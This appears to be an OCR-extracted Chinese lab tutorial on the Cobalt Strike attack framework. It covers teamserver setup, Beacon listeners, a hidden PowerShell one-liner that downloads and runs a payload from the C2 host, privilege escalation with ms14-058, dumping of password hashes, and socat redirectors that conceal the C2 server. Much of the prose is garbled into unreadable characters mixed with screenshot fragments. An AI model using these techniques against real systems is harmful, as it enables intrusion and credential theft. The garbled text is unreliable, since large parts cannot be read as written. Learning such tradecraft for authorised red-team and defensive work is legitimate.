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N, Armitage >KAH Java 14, B T5+71T.

Cobalt Strike 1.x [2012-2014]
Cobalt Strike 13877 Metasploit Framework fEH{T BRGNS BREEES .

Cobalt Strike 2.x [2014-2]
Cobalt Strike 2 2NEEERENHIZERMEIAY, Cobalt Strike 2 ZLA malleable
C2 FARMERAENM, X MEAR{E Cobalt Strike BIBEHE 3R T —LE,

Cobalt Strike 3.x [2015-7]
Cobalt Strike 3 I EHFIFHEHERAAE Metasploit Framework & (5RE) Ti#17,

0% Cobalt Strike 4.0 hE22 %%, MohtELE 3.x BEARNW, EEZEERNIHRERN
Cobalt Strike 4.0, BHIMIMAIERE 3.x I,

B RERAENIAENIME
Cobalt Strike
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PowerSploit
PowerTools
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./teamserver your_ip your_passowrd [config_file]

# ./teamserver 192.168.126.128 password
Will use existing X509 certificate and keystore (for SSL)
Picked up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

[+] Team server is up on 50050
SHA256 hash of SSL cert is: f6d13126c28lacc45c514a685e783cc7f8eadbf9259964
i




SimAER, MAINFEEPImETER T
EIRRIHIRAARSS 2%

£ Linux &, BEI&ZIB1T start.sh A4, BARINRS2309 1P, RiEBFE AR BHTE

=

: # ./start.sh
Picked up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

0

Connect

New Profile This is the connect dialog. You should use it to

connect to a Cobalt Strike (Aggressor) team server.

Host: [192.168.126.128

User: [My Kali

l
Port: 150050 |
l
|

[ Connect H Help ]

mifi Connect Ei&/a, RBAMTRRER, MRFAINRREEFHEREMNSAEEZEARS
NEHEMRE Yes, BBRFENFIHTA CS EF iR HE



Cobalt Strike View Aftacks Reporting Help
OB O H=¢ BIfPLewBE e B
external internal « listener

user computer note

process pid

arch last

Eventlog X

[04/19 04:25] My _Kali
event>

£ Windows THIEEZEFEEAR—I, EHIEXN start.bat &, @A IP. Zi5. AF&, =
=+ Connect ENBT



B startbat 2020.3.19 2:22 Windows ik
& startsh 3 Shell Script

. teamserver

: F Connect

New Profile This is the connect dialog. You should use itto =

127.0.01 connect to a Cobalt Strike (Aggressor) team

Host: [192_158_125_128

Port: 50050

User My _win10

Password: [+

| Connect || Heip |




[ ¥ Cobalt Strike

Cobalt Strike View Attacks Reporting Help

QRO E=S¢ a U el ca B

external |inter.. =~ |listener | user computer | note process | pid arch last

P

Event Log X

04/19 16:22:32 My Kali

04/19 16:29:48 My_Winl0Q




[04/19 16:29] My WinlO

[1ag: 00]

ever>|

EERfRE, B ZEH P MEE

Cobalt Strike
Cobalt Strike View Aftacks Reporting Help ['§ Cobalt Strike
— .
DR G EH=¢ 8% L G w B D & & |copalsike View Attacks Reporting Help
external inte... = |listener |user compu... note OB O H=S¢ B0 SebB0 o la
external |inter.. ~ | listener user computer note process | pid arch last
EventLog X EventlLog X

My Kali
My_Winle
My_Winlo
134:55 <My_Kali- Hi
04/19 04: 30

My Winl10= /My W Helll World

[04/19 84:36] My Kali

[event>

04/19 16:22:32 Ny EKali
My _Winl0

My_WinlO> Hi

04/19 16:34: Ny _Kali> Hi

Users

My_EKali
My WinlO

04/19 16:35:39 <My_Winl0> /My W Helll World

[04/19 16:36] My WinlO [lag: 00]

evene>
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Cobalt Strike View Attacks Reporting Help

OB N E=Z¢ 8L,U fewbD Pa B o

external | inter... = | listener user

computer | note process | pid

arch last

New Profile

127.0.0.1
192.166.126.128

=

Event Log X

My WinlQ
Ny Winl0> Hi
My _Eali> Hi

This is the connect dialog. You should use itto ™

connect to a Cobalt Strike (Aggressor) team

-

Host: [127.0.0.1

Port: 50050
User: [nec—

Password: [*”””*

I Connect ” Help \

My _Winl0> /My_VW Helll World
My Kali
My WinlO




[04/19 16:47] My_Winl0 [lag: 00]
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A EREFRIINEE, ELX RS SFBRSREMNK,

FABRS2E (Long Haul Servers)
FARSBZRVERAZREGXN BARNERERTAR, FIMIFA RS RS UREASIRS BiRfR

[521ER528 (Post—Exploitation Servers)
FEHITEZEREDZNIIEXRES, LN EREITRENIALE

PI{HARLI AR IFIREY

BIRARLIBAIRIEIERY (Scaling Red Operations) AR NER, F—EBXEHXI— BN
MBEMRETT: F_RREBHIIZ T EIMNENNREERERTT.
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Cobalt Strike BIHEXHERINRSS 28 FTRIZTTE R logs XHFFEW, HPRFLHEXMH
2580 beacon_11309.10g , XEBR 11309 FiE beacon £1EHY ID,

IR HETE keystrokes XA, EHFEMHETE screenshots XA, HENHERZMR—
A%U0 screen_015321_4826.9pg £, EH 015321 RRATE (1 25349 21 %) , 4826 R ID

SHRE

Cobalt Strike £ IRENBENETIZISLEEBNEEBA, 7E Reporting EFZHRRI ] AL AIRE
KFERBIREEUA TR

AR PDF 8i#& Word 183
oA B E MRS HEEXNEHR (Cobalt Strike —> Preferences —>Reporting)

A AEFH ST HIARSS 23RS, F RN ARERE BRI E#TRIE

JEIRE (Activity Report)
IR EHIRME T NENRIATER, 1BR T8 1T EBIEER.

FHNIRE (Hosts Report)
HREFRCET Cobalt Strike INERMENER, FiF. RSBMNFELSELIREF,

SE1EMNRE (Indicators of Compromise)

LIRS EIEN C2 IRXHND . ERrEIR R EEXHH MDS 55,

£1EIRE (Sessions Report)

HRERICK THEMMMER, EE8TSERERIBCNBEREIZ. E2EERINTEZ



#HTRE (Social Engineering Report)
WIREPFICR TE—EMNENENBEFHYG. EREUERMNETRTRAPIBRERENEER.
ZIREXRETRT Cobalt Strike B System profiler KIAIN AEF.

AN, ISFFEFRIRES (Tactics, Techniques,and Procedures)

LEIREIEE 29 Cobalt Strike 1TEIBRETEI MITRE 89 ATT&CK EFEHRHIELAR, BATISE
https://attack.mitre.org/

X—\HRERERE LR, EERSMIEENAZRIBFE, NREAREI AR
AWBBEEIRE, BRIRSMA

RSN, RRERNIASIZIE, RABLUMBREAET, BIVESS CS BIMAEEIIE
£ A-TEAM KRR SCF A0 M L A —LeRsREnte.

mrad EiE

HFr2MEreR
MEEX, BIFEMEFEFRARAREZECH—TRS.

s WreRfF R

FERN TR payload EIfEAYEEREHE, EITFT MSF & handler BIfER,

EE4N payload £ BirlE3HITAE, MEEIEREITFEAE TERITRIERN shellcode 1§
650

—BRWrEREVER, HARR RFZMEX LR RMENR, FRXORITEES EED
MR, ZTRERANT BACERECE RIS,

—NEIrERHBPENX R, payload EEFLMEE T payload HIIEINAR .


https://attack.mitre.org/

IR F—RARAMN T EREN:

Operating System/Payload/Stager

4N :

windows/beacon_http/reverse_http

(WA

KEH payload MERENITHAS., NEHGTBEBERONMEPD : B3 stager FEH
X stage .

EHi2Zs stager =— TIER, ATERE. THEMIKN stage , HEAZIREFR,
BPTAEEN: RESETEEERTRENREREEREE,

XA 2BB EHA? BEREREHEABAZSIAFHAELERE. EF4, REXEEHES
X tRHIARRY.

FELHAERANERSEE RS TREMEEANT, AERINFENAERTIEEANMZE™
TERRE) . XMSEERE I, RERAFIMIB LR, ERRAXLRT], 7T (£S5 EH=:
T/EVET,

Bl fres

£ CS E i3] F Cobalt Strike —) Listeners, Z/E5ad Add, LEAYT3#EH New Listener
O, EESRRNEXEEZR], FERRTHRRITSAMLERT,



Cobalt Strike BN BRI

Beacon
Beacon HiFIXME2LTE. 5. B=IE5IMNERE, Beacon ERANBHKINEEZENRIE, £
EPANIEfE Beacon EHRIS TSN I1ZE AL E A, Beacon MITEA92FRHGIUN:

windows/beacon_http/reverse_http

Foreign
Foreign E1FfE/MNBH, XERTUAIBEERY ssrmorse , XFERNEITSFEER R A H M
#) Payload 1255, Lbul Metasploit 1EZEEH) Payload, EEH N AIERE Foreign Y23

E—ERELRST CS NRAE, XIMNaIrzsa9=FREI0:

windows/foreign/reverse_https

2. HTTP #1 HTTPS Beacon

Beacon 21t4
Beacon & CS #Y Payload

Beacon EMMEERI, —MERLRBERIN, XMRINBEMEREE, Beacon [EIEHFA
RSEs. THES. RARNKE: Z—MERENEERN, XMRINEEELNZER.

®T HTTP, HTTPS #1 DNS H[OMN4R

/A SMB thiXHIRHRE 23 RIB(E



Beacon BIRZHNEZENGERRMIIZEEE LR
Beacon HYZEEY

HTTP %1 HTTPS Beacon

HTTP 1 HTTPS Beacon tha] AU Web Beacon, ZRINRBIFR T, HTTP 1 HTTPS
Beacon 81 HTTP GET 1BXE T HES, XL Beacon BT HTTP POST 1EKEEEL
.

windows/beacon_http/reverse_http
windows/beacon_https/reverse_https

DNS Beacon

windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http

SMB Beacon
SMB Beacon ] LAIU{H pipe beacon

windows/beacon_smb/bind_pipe

BlliZE— HTTP Beacon

mif Cobalt Strike —> Listeners ¥ 23T IEE O, =i Add, BALITZRBFR, W
MM, RXBEESIE—D HTTP Beacon, FRIAEMEIEIAGTT, |EST Save



Cobalt Strike |View Aftacks Reporting Help

5
BEFU Zw Create a listener.
Preferences intermal Iistgl ES pic
Visualization "

VPN Interfaces

New Connection

Name: |'Test_Http_Beacon ] 3

Listeners -I Payload: [Beacon HTTP -]

Script Manager Payload Options

Close HTTP Hosts: |192.168.1?5.129 { 4 | '
[ o |
li|
X

i HTTP Host (Stager): [192.168.175.129

| Listeners X r
Susvfle W L & Profile: default -
name = payload P
| HTTP Port (C2): 80

HTTP Port (Bind):
HTTP Host Header:

HTTP Proxy:
[ s =
2 [_Add. | Edit.| [-Remove | [ Restart ] | Help '




LR BT UM — TR 12 B RS0 2R, =i Attack —> Web Drive—by —> Scripted Web
Delivery(s) , TE3#HEHE OFIEZENZFRA Listener, EAFKMEEHE 64 IAY, FTIAFKIE
Use x64 payload 458t 7T, &fE/Rd& Launch

Cobalt Strike

Cobalt Strike View Attacks|Reporting Help
Packages M| w BE &L & B W

Manage nputer | note process pid arch last
Spear Phish Clone Site
Host File
Scripted Web Delivery (S) 1
Signed Applet Attack
Smart Applet Attack

og O EH=

external i

This attack hosts an artifact that delivers a full Cobalt =
Strike payload. The provided one-liner will allow you to

Test Http_Beacon windows/beacon_httpfreverse http 192.168.175.129

-

URIPath: [ra | 3

Local Host: [192.168.175.129 |

Local Port: [80 | 2

Listener: [ | [_] 4

Type: [powershell v] [ Choose llﬂl [Llpl
x64: | [¢] Use x64 payload | 5

6 Launch |[E

EHEENGS, KEENPIET



Success
Started service: Scripted Web Delivery
Copy and paste this URL to access it E%U-FEE

powershell.exe -nop -w hidden -c "IEX {(new-object net.webclient).downloadstring('http:/f192.168.175.129:80/a'))"

I[_i
3

e ]

Windows FEEESFEA ISR | BS T ERTER.
IO IOEEL Internet EEE,

g

tdpat (O ENt).downloadstring(‘http://192.168.175.129:80/a")"

W EESERE S,

| m= || B ||a|ﬁ@

LS, EIE CS, MAINEREREN LT

Cobalt Strike
Cobalt strike View Aftacks Reporting Help

DR O EH=¢ 68 PUEXeb0 /e B G

external | internal | listener |user Compu... note | process pid = arch
| 192.16... 192.16... Test H... Dora*  WIN-75.., powershel... 1684 x54 4m |




HTTPS Beacon

HTTPS Beaocn #1 HTTP Beacon —#¥, {#/ T18E#Y Malleable C2 B & X {4, {£F GET #l
POST WA EWEUE, ARESETFT HTTPS 7T SSL, EIt HTTPS Beacon FiEZE{FH—
MNEMAY SSLIEH, ERUAEEERIINSZE: https://www.cobaltstrike.com/help-

malleable—c2#validssl

3. DNS Beacon

DNS Beacon, [Hi&ENFE{FEA DNS i&FKI& Beacon j&R[A], XLt DNS i&KBF BT HIRE
CS ZIRAIRSZ 2 ENME DNS FRS2309132 . DNS NI &1F Beacon REREL 2 EI1ZZI FIFARRSS
2R T EH{ES . DNS [N EF Beacon Al MIREIFIPARRSZ 22 T E{ES .

7£ CS 4.0 R Z589hRA", DNS Beacon &—1MX DNS #J Payload, TE£iX" Payload H%&
B HTTP BEER, X255 ZAAREMNT.

M ERBEE A-TEAM ERAKS CS 4.0 BF F#

DNS Beacon M L{ERIEEAUT:

B, CS REBREBMmARKE, & DNS Beacon £ A\ B ENAER, REEER
FrEM LA DNS Beacon {EHi22E)E T CS fRE 2R AY DNS Beacon &4, & DNS
Beacon EAEFHEEMAIRRLIE CS RSB, AEHITHRE CS RBBHUZMESIEK.

&7 DNS Beacon sJLAMERMM AN FHTER, —FEER HTTP R T % Payload, —#2&F
FH DNS TXT i2&¥E T & Payload, FNIWE 4.0 lrAH, ELEET HTTP Az, CS4.0 A


https://www.cobaltstrike.com/help-malleable-c2#validssl

RAKARZAE RAB DNS TXT 1oxX—MiziE 1, FTbAix PREKRF €A DNS TXT oA
o

RIBEEBINZE, DNS Beacon B ESMFREME, B2IEREMEXNTF HTTP Beacon +4KE
FIE,

BREcE

MAREETR, FIMMERSETER, XEMBRNEZFERFERNTO: HIN—F AR
fEM@ CS ARSSZNAR IP, BIRIJILE ns icFiER A iFREREIA,

Content Proxy status

cs.teamssix.com DNS only

cs.teamssix.com DNS only

& DNS only

WII—1 450722, DNS Hosts IEE NS iExZF A iICERXNMAIZFR, DNS Host I EE A iEF XM
TR

— .
| ¢ New Listener

Create a listener.

Name: [cs_teamssix_n:om ]

Payload: |Beacon DNS - |

Payload Options

DMNS Hosts:
ns1. teamssix.com

cs.teamssix.com ‘ ‘[ [+ l

me? feamoeoiy « o



DNS Host (Stager)| |cs teamssix com |

DNS Port (Bind): | |

WRIE L —ERHARIE— T BEEMAE, MEIBRENFEITE, £ CS EFRmAINEE—TNE
E

| ¥ Cobalt Strike
halt Strike View Aftacks Reporting Help
l=|n|m ¢ BEPL FwbB

external internal = lis

REZIT—RNENEFS, MANKRBEZLEET

~ § Cobalt Strike

Attacks Reporting Help
OB O E=¢ 8 LU SCwBLD s B G

external internal ~ listener




cs_teamssix_com

192.168.175.130

Beacon #1TIBIE, XMW EFBEXNE—8EN L
WIS %A SMB X4, FHLE

4. SMB Beacon

BEE—TX

SMB Beacon {§HGmEE
Beacon f1FEMZZHY Beacon #HE ., Windows JEar & E

% SMB Beacon,

beacon
HTTP or DNS




meterpreter
TCP

RV 5%4%RY Beacons {£/ Windows s ZEEHITE(S, LUREFIRE SMB hNH, AT
SMB Beacon X3k, Stk XIEIFIBERIES §5Z (RERKIBERAR AV 445 MiROS5 MR
BiER, HttirOrEmHERE, SSWnER<1TR#E shell KK).

SMB Beacon Wlfrzsxt “IRAIPE” A “tE@2E" hEE A,
SMB Beacon B2 &

BAEE—LANEN, XBEHRFERR HTTP Beacon, ﬁ%ﬁl]ﬂ_té%, ANSEZRIE 5T
(aN{al3E1z Payload 4M223) FIEICHMASR, XBERIZHA

FNLEAGE, FiE—1 SMB Beacon, HAMITEEEZFR, %I Beacon SMB, BERZFAIUNE
ZZ0A, LAIBEENX.,

Create a listener.

Name: [SMB ]

Payload: [Beacon SMB -]

Payload Options

Pipename (C2): [msagent_daﬂﬂ ]

[ Save H Help ]




$ TSRTE Beacon REHEMA spawn v , IXEHY sve IELAIRAIEE SMB Beacon KR
B[EHR, MEIMEEAT session, 7 Spawn EIAIEZENIRIN SMB Beacon,

Cobalt Strike View Afttacks Reporting Help
OB O EH=¢ 68FLPLU EwBH f/a I

external internal = listener
80 ] e e 4 [
K8 192.168.175.135 172.17.189.145 Httpo

&

Event Log X | Listeners X | Beacon 172.17.189.145@8136 X

beacon=> sleep 5

[*] Tasked beacon to sleep for 5s
[+] host called home, sent: 16 bytes
beacon> spawn SMB

[*] Tasked beacon to spawn (x64) windows/beacon bind pipe (\\.\pipe\msagent da®o)

[+] host called home, sent: 255026 bytes
[+] established link to child beacon: 172.17.189.145




FIT—=/L, TIRILAFRZ/K==RY oVIb beacon, 4t external - R LAGEXlI IF /387 «x F17,

& T RFXEYE SMB Beacon iAZE#FER, LA vmtoolsed #HFZE 11,

g OH=9 BEPU XwB

external internal ~ listener user computer note process pid arch last
) 192.168.175.135 172.17.189.145 HTTP test DESKTOP-P93BGBF Powershell.exe 5212 x64 4s
@ 172.17.189.145 eese DESKTOP-PS3BGBF rundli32 exe

Wl Browser Pivot
Pivoting * | Desktop (VNC)
Spawn | File Browser
Sgssion + | Net View

Port Scan e v oo
@I 1 rerse_http 192.168.175.140
EventLog X | Listeners X | Beacon 172.17.189. Processes 172.17 189.145@3320
=[] 0: [System Pr ~|[PD PPID B h
= []4: system *| 2568 672 NT AUTHORITNSYSTEM -
[M188: Registry 8104 672 5 NT AUTHORITY\SYSTEM
[308: smss.exe 4216 672 | m— | NT AUTHORITY\LOCAL SERVICE
[]1732: Memory Compression 2292 672 NT AUTHORIT\SYSTEM
[ 468: csres.exe 4344 672 T SWhoStexe C NT AUTHORITNSYSTEM
= []540: wininit.exe 1212 672 suchost.exe o NT AUTHORITY\LOCAL SERVICE
= 95 672: senvices.exe 7428 672 suchost.exe 0 NT AUTHORITN\SYSTEM
4 0 System 0 NT AUTHORITNSYSTEM
X 5764 1048 TabTip.exe 2 DESKTOP-P93BGBFtest
[]760: WmiPRVSE exe 6280 1372 taskhostw.exe 2 DESKTOP-P93BGBFtest
[12732: ChsIME.exe 1908 1244 usysdiag.exe 4] NT AUTHORITY\SYSTEM
[15404: smartscreen.exe 3292 672 VGAUthService.exe 0 NT AUTHORITY\SYSTEM
[ 4768: Windowsinternal Compo | | 1252 672 vmacthlp.exe [4 NT AUTHORITY\SYSTEM
[ 7424: ShellExperienceHostexe | | 4456 672 > vmcompute exe 0 NT AUTHORITV\SYSTEM
[5680: SearchUl.exe 3348 672 ymms exe 0 NT AUTHORITY\SYSTEM
[[] 4468: RuntimeBroker.exe €
[ 924: RuntimeBroker.exe 6844 vmtoolsd.exe x64 2 DESKTOP-P93BGBF\test
[ 4888: ApplicationFrameHost.e» | | 4768 816 Nindowsinternal.Composablest 1 x64 2 DESKTOP-P93BGBF\test
[ 1608: MicrosoftEdge exe 540 460 wininit.exe x64 0 NT AUTHORITN\SYSTEM
[ 1472: browser_broker.exe 6572 1540 winlogon.exe x64 2 NT AUTHORITN\SYSTEM
= [ 160: RuntimeBroker.exe - | [780 816 WmiPrvSE.exe x64 o NT AUTHORITY\NETWORK SERVICE
« » | [z000 672 3 wscirlexe xB86 0 NT AUTHORITNSYSTEM -

Refresn || [inject_||_Log Keystrokes_| [_screenshot. | _steal Token
L

7£ vmtoolsed 13N SMB Beacon f5, {EBEEZI process I vmtoolsed.exe HIRAE SMB

Beacon,



EIE BRI IR

Cobalt Strike View Attacks Reporting Help
OB QOEH=Z¢ BEALU $ebBED ca B G

&y

SYSTEM *
DESKTOP-P93BGBF @ 5212 DESKTOP-P93BGBF @ 3320 DESKTOP-P93BGBF @ 7412

£ CS 1, MIRREFIBREEANIR, AHFRERE * Stnt, BEX X5, AU
BT SR E 4R test RP AEBEDIRAF, RIXBLHM0REA— TR,
=

AT TES LAERAFNEICAZRERN—REN, BLBERF LENFENEBMES, X
BXERICRERNGIA.

BT CS BN AR, FHLXEMITINE —LEWN EAYRINEIA, AR TEtbiES:
https://github.com/rsmudge/ElevateKit

THZE, 7 Cobalt Strike --> Script Manager , ZFERiE Load , EIFECNIA FHMX
HHH) elevate.cna N4,


https://github.com/rsmudge/ElevateKit

iew Attacks Reporting Help
OB O HE=¢ B8F,PLU BN fa B G

external inte.. - |listener user compu... note process pid arch last

T

Lock In: “’_l ElevateKit '\ e

[F3 modules

K clevate.cna 3

README.xt
Event Log )(l Scripts X
path
File Mame: [elevate.cna
Files of Type: [AII Files
4 Open




Load Unload H Reload H Help \

BEIEEFEERNEN, GEiEFE Access --> Elevate , Listener HRIEFENIZ #iEH0 SMB
Beacon, JXEEHJ Exploit %E T ms14-058, MIR{FH ms14-058 AEEIRMN, Fiie—1
Exploit #1T=1x.

192.168,175.144 ecce 192.168.175.144 http Dora WIN-P2BAK33U8B71

192.168.175.144 -1 75.144 http Dora WIN-P2BAK33UB71

Interact

See=EEl ) Dump Hashes
Explore | Elevate ‘] Attemptto execute a listener in an elevated context.
Pivoting + | Golden Ticket

2
Spawn | Makee Token Listenerl [smb i = |-
Session + | One-liner o
o . Exploit: 14-058 -
Run Mirmikatz Xpiol [0 3 l

i) |

o I e

IEFEER T, A MERRNENEEANRRIET, EEEATRNRIET, AP35
B * 5, H Logo hEZMEMEIERE,

O O EH=¢ 8 LU XeBHN /a B

C

L

Dora
WIN-P26AK33U871 @ 1576




- =

EventLog X | Listeners X | Sites X | Beacon 192.168.175.144@368 X

Unknown command: whoami
beacon>= shell whoami
[*] Tasked beacon to run: whoami
[+]1 host called home, sent: 37 bytes
[+1 received output
nt authority\system

beacon> hashdump

[*]1 Tasked beacon to dump hashes

[+] host called home, sent: 82501 bytes

[+] received password hashes

Administrator:500 aadﬂh -5h51404eeaad.h4:5h51404ee:sldﬁcfeﬂdlﬁaeg.lhT“ 50d7e0c089c0;: 1 :
Dora:1000:aad3b43 3b435h5: 31d6c fe0d 16ae931b73¢59d7e0c089c0: : ¢
Guest:Sﬂl:aach 35h 5! e P 3b435b51404ee:31d6cTedd16ae931b73c59d7e0cO8ICO: & :

ERS U

LERS AN RABMT A E N IEHEE, TTLMER unlink 5%, EERNANSRABRIFF 192.168.175.144, Ff
AJBATE Beacon H4§I N\ unlink 192.168.175.144

|
LS
Dora
WIN-P26AK33U871 @ 1576

: DISCONNECTED

e

DISCONNECTED ! " !

SYSTEM * SYSTEM *
WIN-P26AK33U871 @ 368 WIN-P26AK33U871 @ 1140

- T

Event Log X

beacon=|{unlink 192,168

[*] Tasked to unlink

[+]1 host called home, sent 96 bytes
lost link to child beacon: 19:




lost link to child beacon: 192,168.175.144

WMREEXEL, MEEMN link 192.168.175.144 , M YBIEHESIE M EH BT DUFERILL

AL
AP < o

5. EX @z

ETEM2F Redirectors —MUT CS FIRARRSSFFBITNE 2 BRIRSEE, XTEE@IRER
Rk E—TMUELR, &m0 LTH, BE CS RS45 BiniRSS 3 ZEMRTLE
&, BEREME TERSE,

BT <-------- > S HFINEE R <------ >CSPRS 2
EEMBEFRNRERERHNIEPREIIRERZNERE, TEEUTRR:

RIFECH CS k54, BERBITAKIBCHNES IP

e fr g, RNFAIRESTEERR, ABNRETIEERRELEIET, BiX
FRGMKIBZFTAER TEH

BlE— 1 EE MR

ZXEMERBSIAMIRRERIL T, BREEECH IP
CS AR%23% IP: 192.168.175.129

EAREEA, IP: 192.168.175.130

EEMEEE IP: 192.168.175.132. 192.168.175.133



BT, BEAREETEMSNIRA%A, LLUXEFER HTTP Beacon, MBEEIFEE [@ZRHY
80 Im[IiREE ¥ A2 CS RSS=3 L, {£M socat Map<WIF:

socat TCP4-LISTEN:80,fork TCP4:192.168.175.129:80

9471 (1.6 MB) TX bytes:2079

root@ubuntu:™4 socat TCP4-LISTEM:80,fork TCP4:1392.168.175.1293:80

[root@192 “1# ifconfig ens33
ens33: flags=4163<UP,BROADCAST, RUNNING ,MULTICAST> mtu 1588
inet 192.168.175.133 netmask £255.255.255.8 broadcast 192.168.175.255
inetb feBB: :545fF :b5A3:15:1383 prefixlen 64 =copeid BxZB<link>
ether BB :Bc:Z29:4a:cHb:fZ2 txgueuelen 18HH (Ethernet)
RX packets 19834 bytes 16151255 (15.4 HMiB)
RX errors B dropped B overruns B frame B
T packets 4842 bytes 254847 (248.8 RKiB)
TX errors B dropped B overruns B carrier B collisions B

[root@192 ~1# socat TCP4-LISTEN:88,fork TCP4:192.168.175.129:88




NRIBTIRE socat 8%, TE— MR, EE@BREFZE, ®FE—" HTTP Beacon,
HiIEEEMZEAME] HTTP Hosts EAFIRF

Edit Listener - O X
Create a listener.
Name:
Payload:
Payload Options
HTTP Hosts: 192.168.175.132 m+B

192.168.175.133

*k

HTTP Host (Stager): [192.168.175.129 ]

Profile: [default - ]

HTTP Port(c2):  [80 |

HTTP Port (Bind):

|
HTTP Host Header: | |
[

[} 9 iy



LI A IIU-’\_"- |

[ Save H Help ]

WA LI — T EE @R[ EE TE, £ CS FFTH View —> Web Log, ZEN 525150
CS R 23iht, X ER 192.168.175.129

@ 192.168.175.129

B

HRAZ 192.168.175.129 FIKITR

7 ‘ SRAIRITT: http://192.168.175.129/

Cobalt Strike| view |Attacks Reporting Help

BB ) [applications | PR S BE L a B
external| Credentials nal listener user

Downloads

Event Log

Keystrokes

computer note process pid =~




Proxy Pivots
Screenshots
Script Console
Targets

| Web Log

EventLog X | Listeners X | Listeners X | Web Log X\—

6 visit from: 192.168,175.130

est: GET /fa
page Scripted Web Delivery (powershell)
null

04/25 05:49:15 visit from: 192,168.175.1

Request: GET /
Response
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecke) Chrome/81.0.4044,122 Safari/537.36

AIIUEE CS BEEBIEEEKREIREN, HIBEEOREALECE OK T, LRE FELIE—
™ HTTP Beacon BY#2&1E, GlIiE— HTTP Beacon, FH1E3EHHIE1T

SEEH _ELRVRT MR, WIRENFRE, FIUNERSENERNEEEE DR IP

8.8.8.8:49156 H.8.8.8:8 LISTENING
192.168.175.13A:139 H.A.8.8:8 LISTENING
192.168.175.130:49558 | 192 . 168.175.132:804 CLOSE_WAIT

192.168.175.130:49561 | 192.168.175.133:80 SYM_SENT

[=:-1:135 [=:-1:@4 LISTENING
[=:1:445 [=:1:8 LISTENING
[z:1:49152 [=:-1:=8 LISTENING

£ CS R IAER L4 EMNMINER IP hREE@ERMN IP, WHNRXF—TEEMDRS, R
WKIBAT AIEE TE,

Cobalt Strike View Attacks Reporting Help
OB O H=¢ a8 LPLU SZwBEERN fa B G

external

internal listener



HTEEEFS CS JiEF, MENHIZEARIZ 3.x likAH CS, MIEfEMRNZ 4.0 RARY
CS. RItEREEXLHFELDEECTEN LAENERHSZXENENER, AR LI
wIRZAL, BRERFRIXPHEROMT, KEBSELE.

6. WiEaEZEiFE

1. 1£ Beacon &% Payload Z|Bfr_ ERITES I LIIFHZIAIRS2S, LAME{R Beacon RiE
SHRABITREERNRS /IS, FEERURERIZZIEFAAIRS .

2. ERNIFFIAIRE Beacon Payload Bf, CS 24— 1 HIARSZZFZEBN AT, XTMAH
#R \T£ Beacon HJ Payload Stage #, Beacon {£FEIRARRSS s3I A AR I A E R TTEUE,
ENTTHIEFR—RESEMHTE ID. BirARS IP it BirENBREEE, IWEFRER
B HIRAARSS 88 7 BERR B IX T TT AR

3. = Beacon MEIRARRSS 23 T HAESSEEIRAARSS 28312 UX Beacon #ithiEY, HIRARRSZKEER
Beacon MBI TEMTANIIZESHERNL .

4, EIEEMRZ, Payload Stagers BAEMIRRN, AINRBEXENZEFE,

1. EFIREE

T AREF m it

e % R RNl R Nyem B i) et b Sw= v ] B 3 I\ g -l 2N Adem 3 perem et =t e A mwm 0 3 AR o0 S a08 B ALl pemm § ) ommmmgm A g 20 . —2 R



=/ IR X IR VEFE B 1F L oKL — M MXEE N P I AR 1l im QI T RY PI AR 10 X o

[EX: A client-side attack is an attack against an application used to view attacker

controlled content.
ML ERITEF IR E

BERNKARI TSR, EEEMH WAF, BFAXENERT, SMEREEEREEIEBLTHE
MAT, REEBEIMAKERNBEEAZBLETZT .

MEBMNERE—THNEXHAEFinL, BRAEFRITAXITXMEG, &EEFWEF I/ AERZE
AT, WHRAEZEFE EHATMIRSG T —TIER foothold , XHFRI—TIREZENMSZR
NEZHN, XOUENTLAEHRITEP IR .

ARG E P i LRI E =

1. RAJEZMTHREMRME, BIMurERIRETLlE

2. QE— PRI, FESEFMERAEN—, WIRERY. EROURBIRASSE
RERIFHE—H

3. WENIRIBIZMNELN, Xe2RFNKEER
4. BORMERZE, REEBMARNRERTIT A ERITHRIRR
5. KRR OFIFRNNE X REL BN, LIS HHE

WRXASEIFEMEABONEES, PBABERINNEBRZKIRRTT .

2. REME

RGN System Profiler BE—MAHBEEFHIENMETLR, XTITERSTE CS RSIn LS



E1— Web FES5, XL BRI Web FRSHIRHE, FiHA5EE BARERAONL
5. BERSSSHELES.

RERGNBZFZEEHLTECH VPS IRFBE[LIE1T CS kSR, ZEARMMEFPImHITERE, *©
1# System Profiler INBEEMRIR, BCEFHEELHY URL FH(EEENM,

WERAIRT Use Java Applet to get information MIAILAKZINB KA Java kA< KA IP ik,
ERXHMELIMMNRMSRS, BNMENRTREZIIAKAT java TR, FELEXD
EINAERTBZEAKRT .

: }1 Cobalt Strike

BB () BH=rakages | SEwBE £ B G

address = Web Drive-by » EVERENE [ name
Spear Phish | Clone Site B oo erofie 2 o

Host File S ,

. _ The system profiler is a client-side reconaissance
Scripted Web Delivery (3) to0). 1t finds common applications (with version -
Signed Applet Attack

Local URL: | [maidu/ 72

Smart Applet Attack

Local Host |10 28
System Profiler
Local Port: (80

1 Redirect URL: || https-/fwww_baidu.com 3

Event Log X | Sites X | Applications X | Web Log )(| SSL
R = Ho [ Use Java Applet to get information

4 | Launch || Heip |

nable S5

fE5fE, SAPHIARERNEE, FAIRAIAE=TihHHTIE



1. View --> Applications
2. View --> Web Log
3. Cobalt Strike --> Visualization --> Target Table

BRI, Bf1E CS LHMAESER BInMERRINRSRRAE. REREFERT, A
BTYHRAMER, #eE#—FSrEBm LA eFEtalRE.

1 Cobalt Strike

Cobalt Strike View Affacks Reporting Help
OB O E=¢ B PLU XwBEHD o B

address name note =
& 21 N
(o 4167

Event Log X‘ Sites X‘ WebLog X | Listeners X | Applications X

external ~ internal application version
B = 4187 unknown Chrome 79.0.3945.130
=& 2 4.167 unknown Mac OS5 X 10.15.2
& 2 1 unknown Adobe Flash 32.0.0.387
[ = ] 1 unknown Windows 10 *64
& 2 M unknown JScript 11.0.16384
& 2 L unknown Internet Explorer 1.0

BEETEN—RE2UR Cobalt Strike 89 web AR 2ZUEIT Iynx. wget 8§ curl BJIER, CS
S BohRE— 404 T1H, XEFEMERN T HEHEPARIZEIR,

N ANAhaldy C+ribas BATH =T



W WVNMNUIL WUUTIINV H A LD /7 J 2=V

AP IRENI &
P IRSHIRE User-Driven Attacks BEEIRAFTEREA 1T, BB IFZIMA,

